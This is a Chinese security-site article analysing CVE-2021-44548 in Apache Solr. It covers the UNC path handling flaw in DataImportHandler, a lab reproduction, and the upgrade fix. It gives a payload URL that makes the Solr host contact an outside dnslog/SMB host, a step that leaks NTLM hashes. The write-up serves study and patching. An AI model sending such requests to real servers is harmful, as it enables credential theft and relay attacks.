freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及复现
蚁景科技 2022-05-19 11:26:23 277488
所属地 湖南省

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。

一、漏洞原理

漏洞简述

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。

2021年12月18日,Apache发布安全公告,Apache Solr中存在一个信息泄露漏洞(CVE-2021-44548),该漏洞影响了8.11.1之前的所有Apache Solr版本(仅影响Windows平台)。Apache Solr的DataImportHandler中存在一个不正确的输入验证漏洞,可利用Windows UNC路径从Solr主机调用网络上的另一台主机的SMB服务,或导致SMB攻击,从而造成:

  • 敏感数据泄露,如系统用户哈希(NTLM/LM哈希);

  • 在系统配置错误的情况下,SMB中继攻击可能导致用户在SMB共享中被冒充,或导致远程代码执行。

漏洞分析

根据抓包内容中请求URL参数,以及solrconfig.xml中可以看到

sorlconfig漏洞点.jpg

漏洞点出于DataImportHandler#handleRequestBody

如果传入的command=show-config并且传入config不为空则有一个openResource操作,且参数可控

看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource

openResource.png

this.getInstancePath()得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1

再执行resolve("conf")变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf

再执行resolve(resource)时,这里的WindowsPathType变成了UNC

resolve.png

resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数

路径判断.png

resource以\\开头就能使inConfigDir完全可控,在Files.exists中就会去请求windows的unc路径

二、漏洞复现实战

影响版本

Apache Solr < 8.11.1 (仅Windows)

环境搭建

Solr漏洞环境下载地址:

https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip

1)打开命令行,进入bin目录下,运行solr.cmd start

运行Solr.jpg

2)再另一个命令行面板中执行solr.cmd create_core -c new_core

Solr 创建core.jpg

3)然后在solr-8.11.0\dist目录中添加三个jar包:

Solr dist添加jar包.jpg

Solr dist添加情况.jpg

4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由

配置solrconfig.xml.jpg

5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目录下新建data-config.xml文件,内容如下:

<dataConfig>
<dataSource type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
convertType="true"
url="jdbc:mysql://IP:Port/test"
user="XXXX"
password="XXXX"/>
<document>
<entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
</entity>
</document>
</dataConfig>

配置data-config.xml.jpg

6)重新启动solr

漏洞复现

进入Solr后台,选择core为我们新配置的core。

选择Dataimport,查看Configuration,可以看到我们新配置的data-config的详细信息

我们点击reload并抓包

reload抓包.jpg

查看包内容,可以看到请求如下:

request包详情.jpg

URL参数添加参数,构造payload

payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx

我们添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,发送请求:

构造payload.jpg

在DNSLog上可以看到收到请求

漏洞修复

目前此漏洞已经修复,建议受影响用户升级到Apache Solr 8.11.1。

下载链接:

https://solr.apache.org/downloads.html

缓解措施:

确保只有受信任的客户端才能向Solr的DataImporthandler发出请求

结束语

本文主要介绍了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及复现过程,漏洞主要利用DataImportHandler存在输入验证缺陷,最终利用SMB服务导致敏感信息泄露。

更多网安技能的在线实操练习,请点击这里>>

# 漏洞分析 # 漏洞复现 # Apache Solr # CVE-2021-44548
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 904 文章数
  • 669 关注者
ApoorvCTF Rust语言逆向实战
2025-03-07
给大模型通过RAG挂上知识库
2025-02-28
安全测试中的js逆向实战
2025-02-26
文章目录